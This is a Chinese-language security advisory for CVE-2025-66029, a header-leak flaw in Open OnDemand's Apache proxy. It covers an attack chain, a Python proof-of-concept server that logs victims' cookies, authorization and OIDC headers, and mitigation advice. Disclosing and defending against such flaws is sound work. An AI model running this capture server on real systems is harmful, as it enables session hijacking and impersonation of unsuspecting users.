IPBUF安全漏洞报告
English
CVE-2025-66029 CVSS 7.6 高危

CVE-2025-66029 Open OnDemand Apache代理敏感头信息泄露漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66029
漏洞类型
信息泄露
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open OnDemand

相关标签

信息泄露Open OnDemandApache代理敏感头信息会话劫持HTTP头透传OIDC

漏洞概述

Open OnDemand是一个提供远程Web访问超级计算机的系统。在4.0.8及之前版本中,Apache代理存在安全漏洞,允许敏感HTTP头信息被传递到后端源服务器。攻击者可以利用此漏洞,在计算节点上部署恶意源服务器,诱使不知情的用户连接并记录其敏感头信息。这些敏感信息可能包括认证令牌、会话Cookie、用户标识等。由于Apache代理默认配置会将客户端请求头转发至后端服务器,恶意服务器能够捕获这些敏感数据,从而实现对用户账户的劫持或其他恶意操作。该漏洞影响所有使用Apache反向代理配置且未采取缓解措施的用户。

技术细节

漏洞根源在于Open OnDemand的Apache代理配置未对转发至后端服务器的HTTP头进行过滤和限制。默认情况下,Apache的ProxyPass和ProxyPassReverse指令会将客户端请求中的所有头信息转发到后端源服务器。攻击者通过在计算节点上创建恶意源服务器,当受害者通过Open OnDemand连接时,恶意服务器能够接收到包含敏感信息的HTTP请求头。这些头信息可能包括:OIDCPassClaimsAs(默认值为both)、mod_auth_openidc_session cookies、用户认证信息等。攻击者利用这些捕获的敏感数据,可以构造恶意请求实现会话劫持或身份冒充。漏洞利用的关键在于计算节点的网络可达性和Apache代理对头信息的透传机制。

攻击链分析

STEP 1
步骤1
攻击者在计算节点上部署恶意源服务器,监听特定端口并准备记录所有传入的HTTP请求头信息
STEP 2
步骤2
攻击者通过Open OnDemand系统访问其控制的恶意源服务器,利用Apache代理将请求转发至恶意服务器
STEP 3
步骤3
Apache代理将客户端请求中的所有头信息(包括敏感头)透传到恶意源服务器
STEP 4
步骤4
恶意源服务器捕获并记录敏感HTTP头信息,如认证Cookie、OIDC声明等
STEP 5
步骤5
攻击者利用捕获的敏感头信息构造恶意请求,实现对受害者账户的会话劫持或身份冒充

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66029 PoC - Malicious Origin Server Header Capture import http.server import socketserver import json from datetime import datetime class HeaderCaptureHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Log all incoming headers (including sensitive ones) log_entry = { 'timestamp': datetime.now().isoformat(), 'client_ip': self.client_address[0], 'headers': dict(self.headers), 'path': self.path } # Capture sensitive headers sensitive_headers = [ 'Cookie', 'Authorization', 'X-OIDC-Claims', 'X-Auth-Token', 'OIDC_CLAIM_*' ] captured = [] for header_name, header_value in self.headers.items(): for sensitive in sensitive_headers: if sensitive.lower() in header_name.lower(): captured.append(f"{header_name}: {header_value}") if captured: print(f"[ALERT] Sensitive headers captured: {captured}") with open('captured_headers.log', 'a') as f: f.write(json.dumps(log_entry) + '\n') # Send response self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(b'<html><body>OK</body></html>') def log_message(self, format, *args): # Suppress default logging pass PORT = 8080 with socketserver.TCPServer(('', PORT), HeaderCaptureHandler) as httpd: print(f"Listening on port {PORT} for header capture...") httpd.serve_forever()

影响范围

Open OnDemand <= 4.0.8

防御指南

临时缓解措施
对于4.0.x版本,可在ood_portal.yml中使用custom_location_directives配置,unset或edit敏感HTTP头。对于使用OIDC认证的中心,可将OIDCPassClaimsAs设置为none或environment来停止向客户端传递敏感声明。同时建议限制计算节点的网络访问,防止未经授权的源服务器部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表